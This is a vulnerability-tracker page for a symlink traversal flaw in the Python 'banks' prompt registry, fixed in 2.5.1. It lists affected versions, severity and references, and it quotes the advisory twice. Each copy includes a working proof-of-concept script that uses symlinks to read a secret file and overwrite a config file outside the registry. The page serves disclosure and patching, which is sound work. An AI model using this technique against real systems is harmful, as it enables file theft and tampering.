Track vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
7.9
CVE-2026-107716: banks may expose or overwrite any file via symlinks
CVE-2026-107716 · published 20 days ago
Summary
The banks software stores prompt files in a directory and does not check for symbolic links. If an attacker can place a link that points outside the allowed folder, they could read or replace any file on the system. Keep the prompt directory locked down and prevent untrusted users from adding files or links, or add checks to reject symlinks.
What to do
- Update massimiliano pippi banks to version 2.5.1.
- Update banks to version 2.5.1.
Affected software
| Ecosystem | Vendor | Product | Affected versions |
|---|---|---|---|
| pip | massimiliano pippi | banks |
<= 2.5.0 Fix: upgrade to 2.5.1
|
| pip | – | banks |
<= 2.5.0 Fix: upgrade to 2.5.1
|
| PyPI | – | banks |
< 2.5.1 Fix: upgrade to 2.5.1
|
Original advisory text
Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry
### Summary
In `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`.
### Details
Following PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However:
1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`.
2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.
3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root.
### Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
### Proof of Concept
```python
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
```
### Remediation
1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`.
2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`.
3. In `set()`: reject existing symbolic links before writing.
A tested fix and regression tests have been prepared and pushed to:
https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
In `banks.registries.DirectoryPromptRegistry`, prompt file paths and the index file (`index.json`) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via `_scan()` / `get()` or overwrite arbitrary files via `set()` / `_save()`.
### Details
Following PR #77, `DirectoryPromptRegistry` validates path resolution for prompt names. However:
1. `self._index_path` (`index.json`) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by `_save()` upon `reg.set()`, or read via `_load()`.
2. In `_scan()`, discovered `.jinja` files are opened and indexed without checking if `path.is_symlink()` or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed.
3. In `set()`, `prompt_file.write_text(...)` is called without checking if `prompt_file` is an existing symbolic link pointing outside the root.
### Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
### Proof of Concept
```python
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
```
### Remediation
1. In `_validate_index_path()`: verify `_index_path` is not a symlink and resolves within `_path`.
2. In `_scan()`: reject `path.is_symlink()` and check `path.resolve().is_relative_to(root)`.
3. In `set()`: reject existing symbolic links before writing.
A tested fix and regression tests have been prepared and pushed to:
https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
References
- https://github.com/advisories/GHSA-556j-vv39-8rqv Vendor Advisory
- https://github.com/masci/banks/security/advisories/GHSA-556j-vv39-8rqv URL
- https://github.com/masci/banks/commit/23ed13e50b4e217693fa5f9c30943fac8a41582f URL
- https://github.com/masci/banks/releases/tag/v2.5.1 URL
- https://github.com/masci/banks/pull/79 URL
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-1077... Vendor Advisory
- https://nvd.nist.gov/vuln/detail/CVE-2026-107716 Vendor Advisory
- https://github.com/masci/banks Product
- https://pypi.org/project/banks Product
Internet-facing
60 days
Internal
At next upgrade
- Not known to be exploited
- Needs hands-on effort to exploit
- Gives an attacker partial control
Severity
7.9
High
Type
CWE-22Path Traversal
CWE-59Link Following
Timeline
Published15 Oct 2026
Updated26 Oct 2026
First seen8 Oct 2026
Sources
GHSA-556j-vv39-8rqv · GHSA
CVE-2026-107716 · NVD
CVE-2026-107716 · OSV
PYSEC-2026-4201 · OSV
GHSA-556j-vv39-8rqv · OSV
Track software like this
Free during beta